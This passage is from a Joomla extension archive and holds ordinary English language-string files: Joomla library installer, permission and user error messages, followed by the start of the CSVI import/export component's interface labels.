JLIB_INSTALLER_ABORT_FILE_INSTALL_FAIL_SOURCE_DIRECTORY="Files Install: Failed to find source directory: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_INSTALL_SQL_ERROR="Files %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_FILE_ROLLBACK="Files Install: %s" JLIB_INSTALLER_ABORT_FILE_SAME_NAME="Files Install: Another extension with same name already exists." JLIB_INSTALLER_ABORT_FILE_UPDATE_SQL_ERROR="Files Update: SQL error file %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_ALREADY_INSTALLED="Library Install: Library already installed" JLIB_INSTALLER_ABORT_LIB_INSTALL_COPY_SETUP="Library Install: Could not copy setup file." JLIB_INSTALLER_ABORT_LIB_INSTALL_FAILED_TO_CREATE_DIRECTORY="Library Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_LIB_INSTALL_NOFILE="Library Install: No library file specified" JLIB_INSTALLER_ABORT_LIB_INSTALL_ROLLBACK="Library Install: %s" JLIB_INSTALLER_ABORT_LOAD_DETAILS="Failed to load extension details" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED="Method not supported for this extension type" JLIB_INSTALLER_ABORT_METHODNOTSUPPORTED_TYPE="Method not supported for this extension type: %s" JLIB_INSTALLER_ABORT_MOD_INSTALL_COPY_SETUP="Module Install: Could not copy setup file." JLIB_INSTALLER_ABORT_MOD_INSTALL_CREATE_DIRECTORY="Module %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_CUSTOM_INSTALL_FAILURE="Module Install: Custom install routine failure" JLIB_INSTALLER_ABORT_MOD_INSTALL_DIRECTORY="Module %1$s: Another module is already using directory: %2$s" JLIB_INSTALLER_ABORT_MOD_INSTALL_MANIFEST="Module Install: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE="Module %s: No module file specified" JLIB_INSTALLER_ABORT_MOD_INSTALL_SQL_ERROR="Module %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_MOD_ROLLBACK="Module %1$s: %2$s" JLIB_INSTALLER_ABORT_MOD_UNINSTALL_UNKNOWN_CLIENT="Module Uninstall: Unknown client type [%s]" JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT="Module %1$s: Unknown client type [%2$s]" JLIB_INSTALLER_ABORT_NOINSTALLPATH="Install path does not exist" JLIB_INSTALLER_ABORT_NOUPDATEPATH="Update path does not exist" JLIB_INSTALLER_ABORT_PACK_INSTALL_COPY_SETUP="Package Install: Could not copy setup file." JLIB_INSTALLER_ABORT_PACK_INSTALL_CREATE_DIRECTORY="Package Install: Failed to create directory:%s " JLIB_INSTALLER_ABORT_PACK_INSTALL_ERROR_EXTENSION="Package %1$s: There was an error installing an extension: %2$s" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_FILES="Package %s: There were no files to install!" JLIB_INSTALLER_ABORT_PACK_INSTALL_NO_PACK="Package %s: No package file specified" JLIB_INSTALLER_ABORT_PACK_INSTALL_ROLLBACK="Package Install: %s" JLIB_INSTALLER_ABORT_PACKAGE_INSTALL_CUSTOM_INSTALL_FAILURE="Package Install: Custom install routine failure" JLIB_INSTALLER_ABORT_PLG_INSTALL_ALLREADY_EXISTS="Plugin %1$s: Plugin %2$s already exists" JLIB_INSTALLER_ABORT_PLG_INSTALL_COPY_SETUP="Plugin %s: Could not copy setup file." JLIB_INSTALLER_ABORT_PLG_INSTALL_CREATE_DIRECTORY="Plugin %1$s: Failed to create directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_CUSTOM_INSTALL_FAILURE="Plugin Install: Custom install routine failure" JLIB_INSTALLER_ABORT_PLG_INSTALL_DIRECTORY="Plugin %1$s: Another plugin is already using directory: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_MANIFEST="Plugin %s: Could not copy PHP manifest file." JLIB_INSTALLER_ABORT_PLG_INSTALL_NO_FILE="Plugin %s: No plugin file specified" JLIB_INSTALLER_ABORT_PLG_INSTALL_ROLLBACK="Plugin %1$s: %2$s" JLIB_INSTALLER_ABORT_PLG_INSTALL_SQL_ERROR="Plugin %1$s: SQL error file %2$s" JLIB_INSTALLER_ABORT_PLG_UNINSTALL_SQL_ERROR="Plugin Uninstall: SQL error file %s" JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE="Refresh Manifest Cache failed: Extension is not currently installed." JLIB_INSTALLER_ABORT_REFRESH_MANIFEST_CACHE_VALID="Refresh Manifest Cache failed: Extension is not valid." JLIB_INSTALLER_ABORT_TPL_INSTALL_ALREADY_INSTALLED="Template Install: Template already installed" JLIB_INSTALLER_ABORT_TPL_INSTALL_ANOTHER_TEMPLATE_USING_DIRECTORY="Template Install: There is already a Template using the named directory: %s. Are you trying to install the same template again?" JLIB_INSTALLER_ABORT_TPL_INSTALL_COPY_SETUP="Template Install: Could not copy setup file." JLIB_INSTALLER_ABORT_TPL_INSTALL_FAILED_CREATE_DIRECTORY="Template Install: Failed to create directory: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_ROLLBACK="Template Install: %s" JLIB_INSTALLER_ABORT_TPL_INSTALL_UNKNOWN_CLIENT="Template Install: Unknown client type [%s]" JLIB_INSTALLER_AVAILABLE_UPDATE_PHP_VERSION="For the extension %1$s version %2$s is available, but it requires at least PHP version %3$s while your system only has %4$s" JLIB_INSTALLER_DEFAULT_STYLE="%s - Default" JLIB_INSTALLER_DISCOVER="Discover" JLIB_INSTALLER_ERROR_COMP_DISCOVER_STORE_DETAILS="Component Discover install: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_INSTALL_ADMIN_ELEMENT="Component Install: The XML file did not contain an administration element" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_ADMIN="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_DIR_SITE="Component Install: Another component is already using directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Install: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_INSTALL_FAILED_TO_CREATE_DIRECTORY_SITE="Component Install: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_COMP_REFRESH_MANIFEST_CACHE="Component Refresh manifest cache: Failed to store component details" JLIB_INSTALLER_ERROR_COMP_REMOVING_ADMIN_MENUS_FAILED="Could not delete the administrator menus." JLIB_INSTALLER_ERROR_COMP_UNINSTALL_CUSTOM="Component Uninstall: Custom Uninstall script unsuccessful" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_DELETE_CATEGORIES="Component Uninstall: Unable to delete the component categories" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORREMOVEMANUALLY="Component Uninstall: Can't uninstall. Please remove manually" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_ERRORUNKOWNEXTENSION="Component Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_ADMIN="Component Uninstall: Unable to remove the component admin directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_FAILED_REMOVE_DIRECTORY_SITE="Component Uninstall: Unable to remove the component site directory" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_NO_OPTION="Component Uninstall: Option field empty, cannot remove files" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_SQL_ERROR="Component Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_COMP_UNINSTALL_WARNCORECOMPONENT="Component Uninstall: Trying to uninstall a core component" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_ADMIN="Component Update: Failed to create admin directory: %s" JLIB_INSTALLER_ERROR_COMP_UPDATE_FAILED_TO_CREATE_DIRECTORY_SITE="Component Update: Failed to create site directory: %s" JLIB_INSTALLER_ERROR_CREATE_DIRECTORY="JInstaller: :Install: Failed to create directory: %s" JLIB_INSTALLER_ERROR_CREATE_FOLDER_FAILED="Failed to create directory [%s]" JLIB_INSTALLER_ERROR_DEPRECATED_FORMAT="Deprecated install format (client="_QQ_"both"_QQ_"), use package installer in future" JLIB_INSTALLER_ERROR_DOWNLOAD_SERVER_CONNECT="Error connecting to the server: %s" JLIB_INSTALLER_ERROR_FAIL_COPY_FILE="JInstaller: :Install: Failed to copy file %1$s to %2$s" JLIB_INSTALLER_ERROR_FAIL_COPY_FOLDER="JInstaller: :Install: Failed to copy folder %1$s to %2$s" JLIB_INSTALLER_ERROR_FAILED_READING_NETWORK_RESOURCES="Failed reading network resource: %s" JLIB_INSTALLER_ERROR_FILE_EXISTS="JInstaller: :Install: File already exists %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_MANIFEST="Files Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Files Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_ENTRY="Files Uninstall: Could not load extension entry" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_LOAD_MANIFEST="Files Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_SQL_ERROR="Files Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_FILE_UNINSTALL_WARNCOREFILE="File Uninstall: Trying to uninstall core files" JLIB_INSTALLER_ERROR_FOLDER_IN_USE="Another extension is already using directory [%s]" JLIB_INSTALLER_ERROR_LANG_DISCOVER_STORE_DETAILS="Language Discover install: Failed to store language details" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DEFAULT="This language can't be uninstalled as long as it is defined as a default language." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_DIRECTORY="Language Uninstall: Unable to remove the specified Language directory." JLIB_INSTALLER_ERROR_LANG_UNINSTALL_ELEMENT_EMPTY="Language Uninstall: Element is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PATH_EMPTY="Language Uninstall: Language path is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_LANG_UNINSTALL_PROTECTED="This language can't be uninstalled. It is protected in the database (usually en-GB)" JLIB_INSTALLER_ERROR_LIB_DISCOVER_STORE_DETAILS="Library Discover install: Failed to store library details" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_MANIFEST="Library Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Library Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_LIB_UNINSTALL_LOAD_MANIFEST="Library Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_LIB_UNINSTALL_WARNCORELIBRARY="Library Uninstall: Trying to uninstall a core library" JLIB_INSTALLER_ERROR_LOAD_XML="JInstaller: :Install: Failed to load XML File: %s" JLIB_INSTALLER_ERROR_MOD_DISCOVER_STORE_DETAILS="Module Discover install: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_REFRESH_MANIFEST_CACHE="Module Refresh manifest cache: Failed to store module details" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_ERRORUNKOWNEXTENSION="Module Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_EXCEPTION="Module Uninstall: %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Module Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_MOD_UNINSTALL_SQL_ERROR="Module Uninstall: SQL error file %s" JLIB_INSTALLER_ERROR_MOD_UNINSTALL_WARNCOREMODULE="Module Uninstall: Trying to uninstall a core module: %s" JLIB_INSTALLER_ERROR_NO_CORE_LANGUAGE="No core pack exists for the language [%s]" JLIB_INSTALLER_ERROR_NO_FILE="JInstaller: :Install: File does not exist %s" JLIB_INSTALLER_ERROR_NO_LANGUAGE_TAG="The package did not specify a language tag. Are you trying to install an old language package?" JLIB_INSTALLER_ERROR_NOTFINDJOOMLAXMLSETUPFILE="JInstaller: :Install: Cannot find Joomla XML setup file" JLIB_INSTALLER_ERROR_NOTFINDXMLSETUPFILE="JInstaller: :Install: Cannot find XML setup file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_MANIFEST="Package Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Package Uninstall: Manifest file invalid or not found: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_LOAD_MANIFEST="Package Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MANIFEST_NOT_REMOVED="Package Uninstall: Errors were detected, manifest file not removed!" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_MISSINGMANIFEST="Package Uninstall: Missing manifest file" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_NOT_PROPER="Package Uninstall: This extension may have already been uninstalled or might not have been uninstall properly: %s" JLIB_INSTALLER_ERROR_PACK_UNINSTALL_WARNCOREPACK="Package Uninstall: Trying to uninstall core package" JLIB_INSTALLER_ERROR_PLG_DISCOVER_STORE_DETAILS="Plugin Discover install: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_REFRESH_MANIFEST_CACHE="Plugin Refresh manifest cache: Failed to store plugin details" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_ERRORUNKOWNEXTENSION="Plugin Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_FOLDER_FIELD_EMPTY="Plugin Uninstall: Folder field empty, cannot remove files" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_MANIFEST="Plugin Uninstall: Invalid manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Plugin Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_PLG_UNINSTALL_LOAD_MANIFEST="Plugin Uninstall: Could not load manifest file" JLIB_INSTALLER_ERROR_PLG_UNINSTALL_WARNCOREPLUGIN="Plugin Uninstall: Trying to uninstall a core plugin: %s" JLIB_INSTALLER_ERROR_SQL_ERROR="JInstaller: :Install: Error SQL %s" JLIB_INSTALLER_ERROR_SQL_FILENOTFOUND="JInstaller: :Install: SQL File not found %s" JLIB_INSTALLER_ERROR_SQL_READBUFFER="JInstaller: :Install: SQL File Buffer Read Error" JLIB_INSTALLER_ERROR_TPL_DISCOVER_STORE_DETAILS="Template Discover install: Failed to store template details" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_ERRORUNKOWNEXTENSION="Template Uninstall: Unknown Extension" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_CLIENT="Template Uninstall: Invalid client." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_INVALID_NOTFOUND_MANIFEST="Template Uninstall: Manifest file invalid or not found." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DEFAULT="Template Uninstall: Cannot remove default template." JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_DIRECTORY="Template Uninstall: Directory does not exist, cannot remove files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_TEMPLATE_ID_EMPTY="Template Uninstall: Template ID is empty, cannot uninstall files" JLIB_INSTALLER_ERROR_TPL_UNINSTALL_WARNCORETEMPLATE="Template Uninstall: Trying to uninstall a core template: %s" JLIB_INSTALLER_ERROR_UNKNOWN_CLIENT_TYPE="Unknown Client Type [%s]" JLIB_INSTALLER_INSTALL="Install" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS="Language set to Default for %d users" JLIB_INSTALLER_NOTICE_LANG_RESET_USERS_1="Language set to Default for %d user" JLIB_INSTALLER_UNINSTALL="Uninstall" JLIB_INSTALLER_UPDATE="Update" JLIB_INSTALLER_ERROR_EXTENSION_INVALID_CLIENT_IDENTIFIER="Invalid client identifier specified in extension manifest." JLIB_INSTALLER_ERROR_PACK_UNINSTALL_UNKNOWN_EXTENSION="Attempting to uninstall unknown extension from package. This extension may have already been removed earlier." JLIB_MAIL_FUNCTION_DISABLED="The mail() function has been disabled and the mail cannot be sent." JLIB_MAIL_INVALID_EMAIL_SENDER="JMail: : Invalid email Sender: %s, JMail: :setSender(%s)" JLIB_PLUGIN_ERROR_LOADING_PLUGINS="Error loading Plugins: %s" JLIB_REGISTRY_EXCEPTION_LOAD_FORMAT_CLASS="Unable to load format class" JLIB_RULES_ACTION="Action" JLIB_RULES_ALLOWED="Allowed" JLIB_RULES_ALLOWED_ADMIN="Allowed (Super Admin)" JLIB_RULES_CALCULATED_SETTING="Calculated Setting 2" JLIB_RULES_CONFLICT="Conflict" JLIB_RULES_DENIED="Denied" JLIB_RULES_GROUP="%s" JLIB_RULES_GROUPS="Groups" JLIB_RULES_INHERIT="Inherit" JLIB_RULES_INHERITED="Inherited" JLIB_RULES_NOT_ALLOWED="Not Allowed" JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT="Conflict" JLIB_RULES_NOT_ALLOWED_LOCKED="Not Allowed (Locked)" JLIB_RULES_NOT_SET="Not Set" JLIB_RULES_SELECT_ALLOW_DENY_GROUP="Allow or deny %s for users in the %s group" JLIB_RULES_SELECT_SETTING="Select New Setting 1" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this and all child groups, components and content. Note that Denied will overrule any inherited setting, and also the setting in any child group, component or content. In the case of a setting conflict, Deny will take precedence. Not Set is equivalent to Denied but can be changed in child groups, components and content.
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this item. Note that:
      Inherited means that the permissions from global configuration, parent group and category will be used.
      Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this item.
      Allowed means that the group being edited will be able to take this action for this item (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTINGS_DESC="Manage the permission settings for the user groups below. See notes at the bottom." JLIB_UNKNOWN="Unknown" JLIB_UPDATER_ERROR_COLLECTION_FOPEN="The PHP allow_url_fopen setting is disabled. This setting must be enabled for the updater to work." JLIB_UPDATER_ERROR_COLLECTION_OPEN_URL="Update: :Collection: Could not open %s" JLIB_UPDATER_ERROR_COLLECTION_PARSE_URL="Update: :Collection: Could not parse %s" JLIB_UPDATER_ERROR_EXTENSION_OPEN_URL="Update: :Extension: Could not open %s" JLIB_UPDATER_ERROR_EXTENSION_PARSE_URL="Update: :Extension: Could not parse %s" JLIB_USER_ERROR_AUTHENTICATION_FAILED_LOAD_PLUGIN="JAuthentication: :authenticate: Failed to load plugin: %s" JLIB_USER_ERROR_AUTHENTICATION_LIBRARIES="JAuthentication: :__construct: Could not load authentication libraries." JLIB_USER_ERROR_BIND_ARRAY="Unable to bind array to user object" JLIB_USER_ERROR_CANNOT_DEMOTE_SELF="You cannot remove your own Super Admin permissions." JLIB_USER_ERROR_ID_NOT_EXISTS="JUser: :_load: User %s does not exist" JLIB_USER_ERROR_NOT_SUPERADMIN="Only users with Super Admin permissions can change other Super Admin user accounts." JLIB_USER_ERROR_PASSWORD_NOT_MATCH="Passwords do not match. Please re-enter password." JLIB_USER_ERROR_UNABLE_TO_FIND_USER="Unable to find a user with given activation string" JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Unable to load user with ID: %s" JLIB_USER_EXCEPTION_ACCESS_USERGROUP_INVALID="User Group does not exist" JLIB_UTIL_ERROR_APP_INSTANTIATION="Application Instantiation Error" JLIB_UTIL_ERROR_CONNECT_DATABASE="JDatabase: :getInstance: Could not connect to database
      joomla.library: %1$s - %2$s" JLIB_UTIL_ERROR_DOMIT="DommitDocument is deprecated. Use DomDocument instead" JLIB_UTIL_ERROR_LOADING_FEED_DATA="Error loading feed data" JLIB_UTIL_ERROR_XML_LOAD="Failed loading XML file" PK@y>\lScc!language/en-GB/en-GB.com_csvi.ininuW+A; ; CSVI English language file ; ; @package CSVI ; @subpackage Language ; @author Roland Dalmulder ; @link http://www.csvimproved.com ; @copyright Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved. ; @version $Id: en-GB.com_csvi.ini 2549 2013-11-26 01:42:51Z RolandD $ ; ; csvi.php COM_CSVI_ERROR_CHECKING_VERSION="An error occured checking for the new version, please try again later" COM_CSVI_ERROR_CREATING_FOLDER="An error occured when creating the folder." COM_CSVI_CONFIRM_DB_DELETE="Are you sure you want to empty the database?" COM_CSVI_CONFIRM_CSVITABLES_DELETE="Are you sure you want to delete the CSVI backup tables?" COM_CSVI_CHOOSE_RESTORE_FILE_LABEL="Select restore file" COM_CSVI_CHOOSE_BACKUP_LOCATION_LABEL="Choose backup folder (/tmp/com_csvi)" COM_CSVI_ERROR_DURING_PROCESS="Oops something went wrong.

      Let me try to show the warning below here. If nothing shows up then I didn't get any data, sometimes this is caused by faulty plugins.

      Cancel the import and check if all settings are correct and try the import again." ; views/templatetypes/view.html.php COM_CSVI_TEMPLATETYPES="Tasks" ; views/templatetypes/tmpl/default.php COM_CSVI_TEMPLATE_TYPE_NAME="Task name" COM_CSVI_TEMPLATE_TYPE_DESC="Task description" COM_CSVI_COMPONENT_NAME="Component name" COM_CSVI_TEMPLATE_PROCESS="Process" ; views/templatetype/view.html.php COM_CSVI_PAGE_VIEW_TEMPLATETYPE="View" COM_CSVI_PAGE_ADD_TEMPLATETYPE="Add" COM_CSVI_PAGE_EDIT_TEMPLATETYPE="Edit" ; views/settings/view.html.php COM_CSVI_SETTINGS_TITLE="Settings" COM_CSVI_RESET_SETTINGS="Reset" COM_CSVI_SAVE="Save" ; views/settings/tmpl/default.php COM_CSVI_SETTINGS_SITE_SETTINGS="Site" COM_CSVI_SETTINGS_IMPORT_SETTINGS="Import settings" COM_CSVI_SETTINGS_GOOGLE_BASE_SETTINGS="Google Base" COM_CSVI_SETTINGS_ICECAT_SETTINGS="ICEcat" COM_CSVI_SETTINGS_LOG_SETTINGS="Log" COM_CSVI_SETTINGS_CUSTOM_TABLES="Custom tables" COM_CSVI_CONFIRM_RESET_SETTINGS_TITLE="Reset settings?" COM_CSVI_CONFIRM_RESET_SETTINGS_TEXT="Are you sure you want to remove all settings?" COM_CSVI_INCOMPLETE_FORM="Incomplete form" ; views/settings/tmpl/default_custom_tables.php COM_CSVI_TABLE_NAME="Table name" ; views/settings/tmpl/default_icecat.php COM_CSVI_GET_ICECAT_ACCOUNT="Register for an ICEcat account" ; views/settings/tmpl/default_import.php COM_CSVI_PREVIEW_NOT_GREATER_NOLINES="The number of lines for preview cannot be higher than the number of lines per import." COM_CSVI_FAILURE="Failure" ; views/settings/tmpl/default_log.php COM_CSVI_LOG_SETTINGS="Log Settings" COM_CSVI_DEBUG_LOG_SETTINGS="Debug Log Settings" ; views/process/view.html.php COM_CSVI_PROCESS="Process" COM_CSVI_CRONLINE="Cron command" ; views/process/view.result.php COM_CSVI_RUNTIME_IMPORT="Run time %s minutes (%s seconds)" COM_CSVI_IMPORT_RESULT="Import result" COM_CSVI_EXPORT_RESULT="Export result" ; views/process/tmpl/default.php COM_CSVI_IMPORT_TEMPLATE_DETAILS="Which import/export template would you like to execute?" COM_CSVI_LOAD="Load" COM_CSVI_REMOVE="Remove" COM_CSVI_APPLY="Apply" COM_CSVI_SAVE_AS_NEW="Save as new" COM_CSVI_PROCESS_OPTIONS="Manual import/export" COM_CSVI_GO="Go" COM_CSVI_IMPORT_DETAILS="Import options" COM_CSVI_EXPORT_DETAILS="Export options" COM_CSVI_IMPORT_ADD_TEMPLATE_NAME_DESC="Enter the name of the template:" COM_CSVI_IMPORT_ADD_TEMPLATE_NAME_LABEL="Name of template" COM_CSVI_REMOVE_TEMPLATE_DESC="Are you sure you want to remove the template?" COM_CSVI_REMOVE_TEMPLATE_LABEL="Remove template" ; views/process/tmpl/import_result.php COM_CSVI_RESULTS_FOR="Results for %s" COM_CSVI_TOTAL="Total" COM_CSVI_RESULT="Result" COM_CSVI_STATUS="Status" COM_CSVI_SHOW_FULL_LOG="Show full log" COM_CSVI_NO_RESULTS_FOUND="No log details have been found" COM_CSVI_IMPORT_FINISHED_NO_LOG_STORE="Import has finished" COM_CSVI_NO_LOG_EXPLAIN="To see detailed import results, enable the save log reports in the Settings." COM_CSVI__RESULT="Result" ; views/process/tmpl/import/default_fields.php COM_CSVI_CUSTOM_TABLE_IMPORT="Choose which custom table you want to import" COM_CSVI_QUICK_ADD_FIELDS="Quick Add" COM_CSVI_SELECT_IMPORT_FIELDS="Optional: Choose which fields you want to import" COM_CSVI_ADD_FIELD="Add" COM_CSVI_FIELD_NAME="Field name" COM_CSVI_DEFAULT_VALUE="Default value" COM_CSVI_PROCESS_FIELD="Process" COM_CSVI_COMBINE_FIELD="Combine" COM_CSVI_ADD="Add" COM_CSVI_DELETE="Delete" COM_CSVI_ADD_FIELDS="Add fields" COM_CSVI_CHECK_ALL_FIELDS="Check all" COM_CSVI_UNCHECK_ALL_FIELDS="Uncheck all" ; views/process/tmpl/import/default_limit.php COM_CSVI_IMPORT_LIMIT_OPTIONS="System limit options" COM_CSVI_DEFAULT="Default" ; views/process/tmpl/import/default_replacement.php COM_CSVI_IMPORT_REPLACEMENT="Replacement" COM_CSVI_REPLACEMENT_FIELD_NAME="Field name" COM_CSVI_REPLACEMENT_OLD_VALUE="Find" COM_CSVI_REPLACEMENT_NEW_VALUE="Replace" COM_CSVI_REPLACEMENT_TYPE="Type" COM_CSVI_REPLACEMENT_REGEX="Regular expression" COM_CSVI_REPLACEMENT_REGULAR="Regular text" ; views/process/tmpl/import/default_source.php COM_CSVI_IMPORT_SOURCE_OPTIONS="Source options" ; views/process/tmpl/export/default_email.php COM_CSVI_EXPORT_EMAIL_OPTIONS="E-mail options" ; views/process/tmpl/export/default_fields.php COM_CSVI_SELECT_EXPORT_FIELDS="Choose which fields you want to export" COM_CSVI_COLUMN_HEADER="Column header" COM_CSVI_SORT_FIELD="Sort" COM_CSVI_REPLACEMENT_FIELD="Replacement" ; views/process/tmpl/export/default_layout.php COM_CSVI_EXPORT_LAYOUT_OPTIONS="Layout options" ; views/process/tmpl/export/default_limit.php COM_CSVI_EXPORT_LIMIT_OPTIONS="System limit options" ; views/process/tmpl/export/default_replacement.php COM_CSVI_EXPORT_REPLACEMENT="Replacement" ; views/process/tmpl/export/default_source.php COM_CSVI_EXPORT_SOURCE_OPTIONS="Export options" ; views/process/tmpl/com_virtuemart/import/default_calc.php COM_CSVI_OPTIONS="Options" ; views/process/tmpl/com_virtuemart/import/default_category_image.php COM_CSVI_IMPORT_GENERAL_IMAGES="General options" COM_CSVI_IMPORT_FULL_IMAGES="Full image options" COM_CSVI_IMPORT_THUMB_IMAGES="Thumbnail image options" ; views/process/tmpl/com_virtuemart/import/default_category_path.php COM_CSVI_IMPORT_PATH_OPTIONS="Path options" COM_CSVI_SUGGESTED_PATH="Suggested path: %s" COM_CSVI_PASTE="Paste" COM_CSVI_CLEAR="Clear" ; views/process/tmpl/com_virtuemart/import/default_file.php COM_CSVI_IMPORT_FILE_OPTIONS="File options" COM_CSVI_IMPORT_XML_OPTIONS="XML options" ; views/process/tmpl/com_virtuemart/export/default_file.php COM_CSVI_EXPORT_FILTER_OPTIONS="Filter options" COM_CSVI_EXPORT_FORMAT_OPTIONS="Formatting options" COM_CSVI_EXPORT_PRICE_FORMAT_LABEL="Price format" COM_CSVI_EXPORT_PRICE_FORMAT_DESC="Set the format of how the price should look like." ; views/process/tmpl/com_virtuemart/export/default_order.php COM_CSVI_SEARCH="Search..." COM_CSVI_EXPORT_USER_ID="User ID" COM_CSVI_EXPORT_USERNAME="Username" COM_CSVI_EXPORT_PRODUCT_SKU="Product SKU" COM_CSVI_EXPORT_PRODUCT_NAME="Product name" ; views/process/tmpl/com_virtuemart/export/default_orderitem.php COM_CSVI_EXPORT_ORDER_ITEMS_OPTIONS="Order items options" ; views/process/tmpl/com_virtuemart/export/default_shipping.php COM_CSVI_EXPORT_SHOPPER_SHIPPING_OPTIONS="Shipping prices" COM_CSVI_SHOPPER_SHIPPING_PRICE_FROM="Price from" COM_CSVI_SHOPPER_SHIPPING_PRICE_TO="Price to" COM_CSVI_SHOPPER_SHIPPING_VALUE="Value" ; views/process/tmpl/com_redshop/export/default_file.php COM_CSVI_EXPORT_NUMBER_RECORDS="Number of records to export" COM_CSVI_EXPORT_START_RECORD="Start from record number" COM_CSVI_ERROR_LOADING_SITES="An error occured loading export sites" ; views/maintenance/view.html.php COM_CSVI_MAINTENANCE="Maintenance" COM_CSVI_CONTINUE="Continue" COM_CSVI_LOG_DETAILS="Log details" ; views/maintenance/view.json.php COM_CSVI_CANCEL="Cancel" ; views/maintenance/tmpl/availablefields.php COM_CSVI_MAINTENANCE_AVAILABLEFIELDS="Available fields" COM_CSVI_TABLES_PROCESSED="Tables processed" COM_CSVI_ERROR_PROCESSING_RECORDS="An error occured processing the records. The error occured is shown below if available. Additionally check your server log for any errors or warnings." ; views/maintenance/tmpl/default.php COM_CSVI_MAKE_CHOICE_MAINTENANCE="What would you like to do?" COM_CSVI_NO_CHOICE="You must make a choice!" COM_CSVI_OPTION_CRON_NO_SUPPORT="This option is not supported via cron" ; views/maintenance/tmpl/default_icecat.php COM_CSVI_MAINTENANCE_ICECAT="ICEcat" COM_CSVI_ICECAT_LOCATION_LABEL="ICEcat indexes path" COM_CSVI_ICECAT_LOCATION_DESC="Set here the folder where CSVI should look for the ICEcat files. If no files are found, CSVI will try to retrieve them from the ICEcat site." COM_CSVI_ICECAT_GZIP_LABEL="Use gzip" COM_CSVI_ICECAT_GZIP_DESC="Using 